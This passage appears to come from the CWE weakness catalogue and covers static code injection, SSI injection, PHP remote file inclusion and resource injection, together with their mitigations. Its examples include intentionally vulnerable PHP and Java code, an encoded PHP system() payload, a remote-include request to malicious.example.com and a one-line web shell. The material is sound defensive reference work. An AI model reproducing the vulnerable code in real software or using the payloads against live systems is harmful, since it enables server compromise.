The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		94	Improper Control of Generation of Code ('Code Injection')	213
ParentOf		97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	228

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : PHP (*Prevalence = Undetermined*)

**Language** : Perl (*Prevalence = Undetermined*)

**Language** : Interpreted (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data  <i>The injected code could access restricted data / files.</i>	



Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Access Control	Gain Privileges or Assume Identity <i>Injected code can access resources that the attacker is directly prevented from accessing.</i>	
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands <i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</i>	
Non-Repudiation	Hide Activities <i>Often the actions performed by injected control code are unlogged.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

### Demonstrative Examples

#### Example 1:

This example attempts to write user messages to a message file and allow users to view them.

*Example Language: PHP*

*(Bad)*

```
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

}

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Example Language:

(Attack)

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Example Language:

(Attack)

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

### Observed Examples

Reference	Description
<b>CVE-2002-0495</b>	Perl code directly injected into CGI library file from parameters to another CGI program. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0495">https://www.cve.org/CVERecord?id=CVE-2002-0495</a>
<b>CVE-2005-1876</b>	Direct PHP code injection into supporting template file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1876">https://www.cve.org/CVERecord?id=CVE-2005-1876</a>
<b>CVE-2005-1894</b>	Direct code injection into PHP script that can be accessed by attacker. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1894">https://www.cve.org/CVERecord?id=CVE-2005-1894</a>
<b>CVE-2003-0395</b>	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0395">https://www.cve.org/CVERecord?id=CVE-2003-0395</a>
<b>CVE-2007-6652</b>	chain: execution after redirect allows non-administrator to perform static code injection. <a href="https://www.cve.org/CVERecord?id=CVE-2007-6652">https://www.cve.org/CVERecord?id=CVE-2007-6652</a>

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Notes

#### Relationship

"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Static Code Injection
Software Fault Patterns	SFP24		Tainted Input to Command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
73	User-Controlled Filename
77	Manipulating User-Controlled Variables
81	Web Server Logs Tampering
85	AJAX Footprinting

## CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page

**Weakness ID :** 97  
**Structure :** Simple  
**Abstraction :** Variant

### Description

The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	225

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1019	Validate Inputs	2226

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Notes

### Relationship

This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Server-Side Includes (SSI) Injection
WASC	36		SSI Injection

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
101	Server Side Include (SSI) Injection

## CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

**Weakness ID** : 98

**Structure** : Simple

**Abstraction** : Variant

### Description

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.










### Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	1621
CanAlsoBe		426	Untrusted Search Path	972
CanFollow		73	External Control of File Name or Path	128
CanFollow		184	Incomplete List of Disallowed Inputs	441
CanFollow		425	Direct Request ('Forced Browsing')	969
CanFollow		456	Missing Initialization of a Variable	1029
CanFollow		473	PHP External Variable Modification	1066
CanPrecede		94	Improper Control of Generation of Code ('Code Injection')	213

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

## Applicable Platforms

**Language** : PHP (*Prevalence = Often*)

## Alternate Terms

**Remote file include** :

**RFI** : The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

**Local file inclusion** : This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	<i>The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.</i>	
Availability		

## Detection Methods

### Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

*Effectiveness = High*

### Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

### Phase: Architecture and Design

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces



dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High*

**Phase: Architecture and Design**

**Phase: Operation**

*Strategy = Attack Surface Reduction*

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

**Phase: Architecture and Design**

**Phase: Implementation**

*Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

**Phase: Operation**

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

**Phase: Operation**

**Phase: Implementation**

*Strategy = Environment Hardening*

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

**Phase: Operation**

**Phase: Implementation**

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of `register_globals` combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

### Phase: Operation

*Strategy = Environment Hardening*

Set `allow_url_fopen` to false, which limits the ability to include files from remote locations.

*Effectiveness = High*

*Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.*

### Demonstrative Examples

#### Example 1:

The following code, `victim.php`, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied `'module_name'` parameter and appending the string `'/function.php'` to it.

*Example Language: PHP*

*(Bad)*

```
$dir = $_GET['module_name'];
include($dir . "/function.php");
```

The problem with the above code is that the value of `$dir` is not restricted in any way, and a malicious user could manipulate the `'module_name'` parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (`example.php`) with a `'module_name'` of `"http://malicious.example.com"` by using the following request string:

*Example Language:*

*(Attack)*

```
victim.php?module_name=http://malicious.example.com
```

Upon receiving this request, the code would set `'module_name'` to the value `"http://malicious.example.com"` and would attempt to include `http://malicious.example.com/function.php`, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of `function.php` looks like the following:

*Example Language:*

*(Bad)*

```
system($_GET['cmd']);
```

An attacker could now go a step further in our example and provide a request string as follows:

*Example Language:*

*(Attack)*

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

The code will attempt to include the malicious `function.php` file from the remote site. In turn, this file executes the command specified in the `'cmd'` parameter from the query string. The end result is an attempt by `tvictim.php` to execute the potentially malicious command, in this case:

Example Language:

(Attack)

```
/bin/ls -l
```

Note that the above PHP example can be mitigated by setting `allow_url_fopen` to false, although this will not fully protect the code. See potential mitigations.

### Observed Examples

Reference	Description
<b>CVE-2004-0285</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0285">https://www.cve.org/CVERecord?id=CVE-2004-0285</a>
<b>CVE-2004-0030</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0030">https://www.cve.org/CVERecord?id=CVE-2004-0030</a>
<b>CVE-2004-0068</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0068">https://www.cve.org/CVERecord?id=CVE-2004-0068</a>
<b>CVE-2005-2157</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2157">https://www.cve.org/CVERecord?id=CVE-2005-2157</a>
<b>CVE-2005-2162</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2162">https://www.cve.org/CVERecord?id=CVE-2005-2162</a>
<b>CVE-2005-2198</b>	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2198">https://www.cve.org/CVERecord?id=CVE-2005-2198</a>
<b>CVE-2004-0128</b>	Modification of assumed-immutable variable in configuration script leads to file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0128">https://www.cve.org/CVERecord?id=CVE-2004-0128</a>
<b>CVE-2005-1864</b>	PHP file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1864">https://www.cve.org/CVERecord?id=CVE-2005-1864</a>
<b>CVE-2005-1869</b>	PHP file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1869">https://www.cve.org/CVERecord?id=CVE-2005-1869</a>
<b>CVE-2005-1870</b>	PHP file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1870">https://www.cve.org/CVERecord?id=CVE-2005-1870</a>
<b>CVE-2005-2154</b>	PHP local file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2154">https://www.cve.org/CVERecord?id=CVE-2005-2154</a>
<b>CVE-2002-1704</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1704">https://www.cve.org/CVERecord?id=CVE-2002-1704</a>
<b>CVE-2002-1707</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1707">https://www.cve.org/CVERecord?id=CVE-2002-1707</a>
<b>CVE-2005-1964</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1964">https://www.cve.org/CVERecord?id=CVE-2005-1964</a>
<b>CVE-2005-1681</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1681">https://www.cve.org/CVERecord?id=CVE-2005-1681</a>
<b>CVE-2005-2086</b>	PHP remote file include. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2086">https://www.cve.org/CVERecord?id=CVE-2005-2086</a>
<b>CVE-2004-0127</b>	Directory traversal vulnerability in PHP include statement. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0127">https://www.cve.org/CVERecord?id=CVE-2004-0127</a>
<b>CVE-2005-1971</b>	Directory traversal vulnerability in PHP include statement. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1971">https://www.cve.org/CVERecord?id=CVE-2005-1971</a>
<b>CVE-2005-3335</b>	PHP file inclusion issue, both remote and local; local include uses "." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.

Reference	Description
<b>CVE-2009-1936</b>	<a href="https://www.cve.org/CVERecord?id=CVE-2005-3335">https://www.cve.org/CVERecord?id=CVE-2005-3335</a> chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1936">https://www.cve.org/CVERecord?id=CVE-2009-1936</a>

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	2124
MemberOf	<b>C</b>	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2130
MemberOf	<b>C</b>	802	2010 Top 25 - Risky Resource Management	800	2148
MemberOf	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Notes

#### Relationship

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role. Can overlap directory traversal in local inclusion problems.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PHP File Include
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
WASC	5		Remote File Inclusion

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
193	PHP Remote File Inclusion

### References

[REF-185]OWASP. "Testing for Path Traversal (OWASP-AZ-001)". < [http://www.owasp.org/index.php/Testing\\_for\\_Path\\_Traversal\\_\(OWASP-AZ-001\)](http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)) >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

[REF-951]Shaun Clowes. "A Study in Scarlet". < <http://www.cgisecurity.com/lib/studyinscarlet.txt> >.

[REF-952]Stefan Esser. "Suhosin". < <http://www.hardened-php.net/suhosin/> >.

[REF-953]Johannes Ullrich. "Top 25 Series - Rank 13 - PHP File Inclusion". 2010 March 1. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/> >.

## CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID : 99

Structure : Simple

**Abstraction** : Class**Description**

The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.

**Extended Description**

A resource injection issue occurs when the following two conditions are met:








1. An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

This may enable an attacker to access or modify otherwise protected system resources.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
ParentOf		641	Improper Restriction of Names for Files and Other Resources	1329
ParentOf		694	Use of Multiple Resources with Duplicate Identifier	1424
ParentOf		914	Improper Control of Dynamically-Identified Variables	1682
PeerOf		706	Use of Incorrectly-Resolved Name or Reference	1439
PeerOf		706	Use of Incorrectly-Resolved Name or Reference	1439
CanAlsoBe		73	External Control of File Name or Path	128

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

**Weakness Ordinalities**

**Primary** :

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Alternate Terms**

**Insecure Direct Object Reference** : OWASP uses this term, although it is effectively the same as resource injection.

**Likelihood Of Exploit**

High

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data Read Files or Directories Modify Files or Directories  <i>An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, it can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

## Demonstrative Examples

### Example 1:

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

*Example Language: Java*

*(Bad)*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

### Example 2:

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

*Example Language: C++*

*(Bad)*

```
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;
```

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system



resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2151
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	2184
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1005	7PK - Input Validation and Representation	700	2214
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Notes

### Relationship

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

### Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Resource Injection
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-99		

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
10	Buffer Overflow via Environment Variables
75	Manipulating Writeable Configuration Files
240	Resource Injection

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-102: Struts: Duplicate Validation Forms

**Weakness ID** : 102

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

### Extended Description

If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1824
ChildOf	B	694	Use of Multiple Resources with Duplicate Identifier	1424
PeerOf	C	675	Multiple Operations on Resource in Single-Operation Context	1393

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

**Phase: Implementation**

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

### Demonstrative Examples

